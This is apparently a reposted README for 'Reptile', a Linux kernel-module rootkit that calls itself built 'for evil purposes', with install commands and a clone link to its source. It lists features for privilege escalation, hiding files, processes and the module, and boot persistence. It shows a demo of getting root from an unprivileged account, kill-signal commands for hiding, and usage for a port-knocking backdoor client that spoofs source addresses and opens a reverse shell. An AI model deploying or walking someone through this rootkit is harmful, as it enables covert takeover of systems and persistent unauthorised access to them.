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Reptile - LKM Linux Rootkit

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Reptile is a LKM rootkit for evil purposes. If you are searching stuff only for study purposes, see the Please login or register to see this link. .



  • Give root to unprivileged users
  • Hide files and directories
  • Hide files contents
  • Hide processes
  • Hide himself
  • Boot persistence
  • Heaven's door - A ICMP/UDP port-knocking backdoor
  • Client to knock on heaven's door :D



apt-get install linux-headers-$(uname -r)
cd Reptile
./installer.sh install


Binaries will be copied to /reptile folder, that will be hidden by Reptile.


Getting root privileges

hax@Debian:~$ id
uid=1000(hax) gid=1000(hax) grupos=1000(hax),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth),118(scanner)
hax@Debian:~$ /reptile/r00t
You got super powers!

root@Debian:/home/hax# id
uid=0(root) gid=0(root) groups=0(root)



  • Hide/unhide reptile module: kill -50 0
  • Hide/unhide process: kill -49 <PID>
  • Hide files contents: all content between the tags will be hidden


content to hide 


Knocking on heaven's door

Heaven's door is a ICMP/UDP port-knocking backdoor used by Reptile. To access the backdoor you can use the client:

Knock Knock on Heaven's Door
Writen by: F0rb1dd3n

Usage: ./knock_on_heaven <args>

-x      protocol (ICMP/UDP)
-s      Source IP address (You can spoof)
-t      Target IP address
-p      Source Port
-q      Target Port
-d      Data to knock on backdoor: "<key> <reverse IP> <reverse Port>"
-l      Launch listener

[!] ICMP doesn't need ports

ICMP: ./knock_on_heaven -x icmp -s -t -d "F0rb1dd3n 4444" -l
UDP:  ./knock_on_heaven -x udp  -s -t -p 53 -q 53 -d "F0rb1dd3n 4444" -l



Some functions of this module is based on another rootkits. Please see the references!



  • “LKM HACKING”, The Hackers Choice (THC), 1999;
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  • Please login or register to see this link.
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  • “Abuse of the Linux Kernel for Fun and Profit”, Halflife, Phrack 50, 1997;
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I am open to receiving contributions. If you can contribute with this project, discuss the contribution via e-mail or open an issue, fork the project and make a pull request. I will evaluate pull requests and merge to the project.


Download Please login or register to see this link.


git clone https://github.com/f0rb1dd3n/Reptile.git

Source: Please login or register to see this link.

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